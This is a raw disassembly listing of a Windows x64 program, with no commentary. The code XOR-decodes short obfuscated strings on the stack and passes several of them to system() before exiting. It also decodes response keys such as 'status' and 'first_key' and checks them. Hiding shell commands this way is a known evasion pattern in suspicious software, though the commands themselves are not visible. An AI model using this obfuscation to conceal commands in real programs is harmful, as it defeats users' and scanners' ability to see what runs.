mov rax, qword [rsp + 0x9e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14e8]
xor eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x2c0]
lea rax, [rsp + rax + 0x14e9]
mov qword [rsp + 0x9f0], rax
mov rax, qword [rsp + 0x9f0]
mov cl, byte [rsp + 0xab]
mov byte [rax], cl
jmp 0x14004ae2d
mov eax, 5
imul rax, rax, 1
lea rax, [rsp + rax + 0x14e9]
mov qword [rsp + 0x9f8], rax
mov rax, qword [rsp + 0x9f8]
mov byte [rax], 0
lea rax, [rsp + 0x14e9]
mov qword [rsp + 0xa00], rax
mov rcx, qword [rsp + 0xa00]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
movzx eax, word [rsp + 0x1c7e]
cmp eax, 3
jne 0x14004af0e
mov dword [rsp + 0x1ec], 1
jmp 0x14004af19
mov dword [rsp + 0x1ec], 0
movzx eax, byte [rsp + 0x1ec]
test eax, eax
je 0x14004b33d
mov byte [rsp + 0x1518], 0x22
movsx eax, byte [rsp + 0x1518]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3a1c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1519], al
movsx eax, byte [rsp + 0x1518]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3a1c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x151a], al
movsx eax, byte [rsp + 0x1518]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3a1c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x151b], al
movsx eax, byte [rsp + 0x1518]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d3a1c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x151c], al
movsx eax, byte [rsp + 0x1518]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d3a1c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x151d], al
movsx eax, byte [rsp + 0x1518]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d3a1c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x151e], al
lea rax, [rsp + 0x151f]
lea rax, [rsp + 0x151f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2c8], 0
jmp 0x14004b058
mov rax, qword [rsp + 0x2c8]
inc rax
mov qword [rsp + 0x2c8], rax
cmp qword [rsp + 0x2c8], 6
jae 0x14004b0c2
mov rax, qword [rsp + 0x2c8]
lea rax, [rsp + rax + 0x1519]
mov qword [rsp + 0xa08], rax
mov rax, qword [rsp + 0xa08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1518]
xor eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x2c8]
lea rax, [rsp + rax + 0x1519]
mov qword [rsp + 0xa10], rax
mov rax, qword [rsp + 0xa10]
mov cl, byte [rsp + 0xac]
mov byte [rax], cl
jmp 0x14004b045
mov eax, 6
imul rax, rax, 1
lea rax, [rsp + rax + 0x1519]
mov qword [rsp + 0xa18], rax
mov rax, qword [rsp + 0xa18]
mov byte [rax], 0
lea rax, [rsp + 0x1519]
mov qword [rsp + 0xa20], rax
mov rdx, qword [rsp + 0xa20]
lea rcx, [rsp + 0x1c70]
call fcn.140052a9c
movzx eax, al
test eax, eax
je 0x14004b33d
mov byte [rsp + 0x1510], 0x79
movsx eax, byte [rsp + 0x1510]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3abc]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1511], al
movsx eax, byte [rsp + 0x1510]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3abc]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1512], al
movsx eax, byte [rsp + 0x1510]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3abc]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1513], al
movsx eax, byte [rsp + 0x1510]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d3abc]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1514], al
movsx eax, byte [rsp + 0x1510]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d3abc]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1515], al
movsx eax, byte [rsp + 0x1510]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d3abc]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1516], al
lea rax, [rsp + 0x1517]
lea rax, [rsp + 0x1517]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2d0], 0
jmp 0x14004b245
mov rax, qword [rsp + 0x2d0]
inc rax
mov qword [rsp + 0x2d0], rax
cmp qword [rsp + 0x2d0], 6
jae 0x14004b2af
mov rax, qword [rsp + 0x2d0]
lea rax, [rsp + rax + 0x1511]
mov qword [rsp + 0xa28], rax
mov rax, qword [rsp + 0xa28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1510]
xor eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x2d0]
lea rax, [rsp + rax + 0x1511]
mov qword [rsp + 0xa30], rax
mov rax, qword [rsp + 0xa30]
mov cl, byte [rsp + 0xad]
mov byte [rax], cl
jmp 0x14004b232
mov eax, 6
imul rax, rax, 1
lea rax, [rsp + rax + 0x1511]
mov qword [rsp + 0xa38], rax
mov rax, qword [rsp + 0xa38]
mov byte [rax], 0
lea rax, [rsp + 0x1511]
mov qword [rsp + 0xa40], rax
mov rdx, qword [rsp + 0xa40]
lea rcx, [rsp + 0x1c70]
call fcn.1400609e0
mov qword [rsp + 0xa48], rax
mov rax, qword [rsp + 0xa48]
movzx eax, word [rax + 0xe]
and eax, 0x400
test eax, eax
je 0x14004b322
mov dword [rsp + 0x1f0], 1
jmp 0x14004b32d
mov dword [rsp + 0x1f0], 0
movzx eax, byte [rsp + 0x1f0]
test eax, eax
jne 0x14004bd8e
mov byte [rsp + 0x1558], 0x1c
movsx eax, byte [rsp + 0x1558]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d46a0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1559], al
movsx eax, byte [rsp + 0x1558]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d46a0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x155a], al
movsx eax, byte [rsp + 0x1558]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d46a0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x155b], al
movsx eax, byte [rsp + 0x1558]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d46a0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x155c], al
movsx eax, byte [rsp + 0x1558]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d46a0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x155d], al
movsx eax, byte [rsp + 0x1558]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1400d46a0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x155e], al
movsx eax, byte [rsp + 0x1558]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, [0x1400d46a0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x155f], al
lea rax, [rsp + 0x1560]
lea rax, [rsp + 0x1560]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2d8], 0
jmp 0x14004b493
mov rax, qword [rsp + 0x2d8]
inc rax
mov qword [rsp + 0x2d8], rax
cmp qword [rsp + 0x2d8], 7
jae 0x14004b4fd
mov rax, qword [rsp + 0x2d8]
lea rax, [rsp + rax + 0x1559]
mov qword [rsp + 0xa50], rax
mov rax, qword [rsp + 0xa50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1558]
xor eax, ecx
mov byte [rsp + 0xae], al
mov rax, qword [rsp + 0x2d8]
lea rax, [rsp + rax + 0x1559]
mov qword [rsp + 0xa58], rax
mov rax, qword [rsp + 0xa58]
mov cl, byte [rsp + 0xae]
mov byte [rax], cl
jmp 0x14004b480
mov eax, 7
imul rax, rax, 1
lea rax, [rsp + rax + 0x1559]
mov qword [rsp + 0xa60], rax
mov rax, qword [rsp + 0xa60]
mov byte [rax], 0
lea rax, [rsp + 0x1559]
mov qword [rsp + 0xa68], rax
mov rcx, qword [rsp + 0xa68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x17a8], 0x19
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17a9], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17aa], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ab], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ac], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ad], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ae], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17af], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b0], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b1], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b2], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b3], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b4], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b5], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b6], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b7], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b8], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17b9], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ba], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17bb], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17bc], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17bd], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17be], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17bf], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c0], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c1], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c2], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c3], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c4], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c5], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c6], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c7], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c8], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17c9], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17ca], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17cb], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17cc], al
movsx eax, byte [rsp + 0x17a8]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str._n_n___ERROR__Something_went_wrong__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17cd], al
lea rax, [rsp + 0x17ce]
lea rax, [rsp + 0x17ce]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2e0], 0
jmp 0x14004bb27
mov rax, qword [rsp + 0x2e0]
inc rax
mov qword [rsp + 0x2e0], rax
cmp qword [rsp + 0x2e0], 0x25
jae 0x14004bb91
mov rax, qword [rsp + 0x2e0]
lea rax, [rsp + rax + 0x17a9]
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0xa70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17a8]
xor eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x2e0]
lea rax, [rsp + rax + 0x17a9]
mov qword [rsp + 0xa78], rax
mov rax, qword [rsp + 0xa78]
mov cl, byte [rsp + 0xaf]
mov byte [rax], cl
jmp 0x14004bb14
mov eax, 0x25
imul rax, rax, 1
lea rax, [rsp + rax + 0x17a9]
mov qword [rsp + 0xa80], rax
mov rax, qword [rsp + 0xa80]
mov byte [rax], 0
lea rax, [rsp + 0x17a9]
mov qword [rsp + 0xa88], rax
mov rcx, qword [rsp + 0xa88]
call fcn.140005fa4
mov byte [rsp + 0x14f0], 9
movsx eax, byte [rsp + 0x14f0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d46d0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14f1], al
movsx eax, byte [rsp + 0x14f0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d46d0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14f2], al
movsx eax, byte [rsp + 0x14f0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d46d0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14f3], al
movsx eax, byte [rsp + 0x14f0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d46d0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14f4], al
movsx eax, byte [rsp + 0x14f0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d46d0]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14f5], al
lea rax, [rsp + 0x14f6]
lea rax, [rsp + 0x14f6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2e8], 0
jmp 0x14004bcda
mov rax, qword [rsp + 0x2e8]
inc rax
mov qword [rsp + 0x2e8], rax
cmp qword [rsp + 0x2e8], 5
jae 0x14004bd44
mov rax, qword [rsp + 0x2e8]
lea rax, [rsp + rax + 0x14f1]
mov qword [rsp + 0xa90], rax
mov rax, qword [rsp + 0xa90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14f0]
xor eax, ecx
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0x2e8]
lea rax, [rsp + rax + 0x14f1]
mov qword [rsp + 0xa98], rax
mov rax, qword [rsp + 0xa98]
mov cl, byte [rsp + 0xb0]
mov byte [rax], cl
jmp 0x14004bcc7
mov eax, 5
imul rax, rax, 1
lea rax, [rsp + rax + 0x14f1]
mov qword [rsp + 0xaa0], rax
mov rax, qword [rsp + 0xaa0]
mov byte [rax], 0
lea rax, [rsp + 0x14f1]
mov qword [rsp + 0xaa8], rax
mov rcx, qword [rsp + 0xaa8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov byte [rsp + 0x1520], 0x7c
movsx eax, byte [rsp + 0x1520]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.status
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1521], al
movsx eax, byte [rsp + 0x1520]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.status
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1522], al
movsx eax, byte [rsp + 0x1520]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.status
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1523], al
movsx eax, byte [rsp + 0x1520]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.status
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1524], al
movsx eax, byte [rsp + 0x1520]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.status
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1525], al
movsx eax, byte [rsp + 0x1520]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.status
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1526], al
lea rax, [rsp + 0x1527]
lea rax, [rsp + 0x1527]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2f0], 0
jmp 0x14004bebd
mov rax, qword [rsp + 0x2f0]
inc rax
mov qword [rsp + 0x2f0], rax
cmp qword [rsp + 0x2f0], 6
jae 0x14004bf27
mov rax, qword [rsp + 0x2f0]
lea rax, [rsp + rax + 0x1521]
mov qword [rsp + 0xab0], rax
mov rax, qword [rsp + 0xab0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1520]
xor eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x2f0]
lea rax, [rsp + rax + 0x1521]
mov qword [rsp + 0xab8], rax
mov rax, qword [rsp + 0xab8]
mov cl, byte [rsp + 0xb1]
mov byte [rax], cl
jmp 0x14004beaa
mov eax, 6
imul rax, rax, 1
lea rax, [rsp + rax + 0x1521]
mov qword [rsp + 0xac0], rax
mov rax, qword [rsp + 0xac0]
mov byte [rax], 0
lea rax, [rsp + 0x1521]
mov qword [rsp + 0xac8], rax
mov rdx, qword [rsp + 0xac8]
lea rcx, [rsp + 0x1c70]
call fcn.1400609e0
mov qword [rsp + 0xad0], rax
mov rax, qword [rsp + 0xad0]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
movzx eax, word [rax + 0xe]
and eax, 0x1000
test eax, eax
je 0x14004bfaf
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x430], rax
jmp 0x14004bfd0
mov rax, qword [rsp + 0x3e0]
movabs rcx, 0xffffffffffff
mov rax, qword [rax + 8]
and rax, rcx
mov qword [rsp + 0x430], rax
mov rdx, qword [rsp + 0x430]
lea rcx, [rsp + 0x1a90]
call fcn.140004f10
nop
mov byte [rsp + 0x15d8], 0x6e
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15d9], al
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15da], al
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15db], al
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15dc], al
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15dd], al
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15de], al
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15df], al
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15e0], al
movsx eax, byte [rsp + 0x15d8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.first_key
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15e1], al
lea rax, [rsp + 0x15e2]
lea rax, [rsp + 0x15e2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x2f8], 0
jmp 0x14004c18a
mov rax, qword [rsp + 0x2f8]
inc rax
mov qword [rsp + 0x2f8], rax
cmp qword [rsp + 0x2f8], 9
jae 0x14004c1f4
mov rax, qword [rsp + 0x2f8]
lea rax, [rsp + rax + 0x15d9]
mov qword [rsp + 0xad8], rax
mov rax, qword [rsp + 0xad8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d8]
xor eax, ecx
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0x2f8]
lea rax, [rsp + rax + 0x15d9]
mov qword [rsp + 0xae0], rax
mov rax, qword [rsp + 0xae0]
mov cl, byte [rsp + 0xb2]
mov byte [rax], cl
jmp 0x14004c177
mov eax, 9
imul rax, rax, 1
lea rax, [rsp + rax + 0x15d9]
mov qword [rsp + 0xae8], rax
mov rax, qword [rsp + 0xae8]
mov byte [rax], 0
lea rax, [rsp + 0x15d9]
mov qword [rsp + 0xaf0], rax
mov rdx, qword [rsp + 0xaf0]
lea rcx, [rsp + 0x1c70]
call fcn.1400609e0
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xaf8]
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x3e8]
movzx eax, word [rax + 0xe]
and eax, 0x1000
test eax, eax
je 0x14004c27c
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x438], rax
jmp 0x14004c29d
mov rax, qword [rsp + 0x3e8]
movabs rcx, 0xffffffffffff
mov rax, qword [rax + 8]
and rax, rcx
mov qword [rsp + 0x438], rax
mov rdx, qword [rsp + 0x438]
lea rcx, [rsp + 0x1a70]
call fcn.140004f10
nop
mov byte [rsp + 0x1578], 0x46
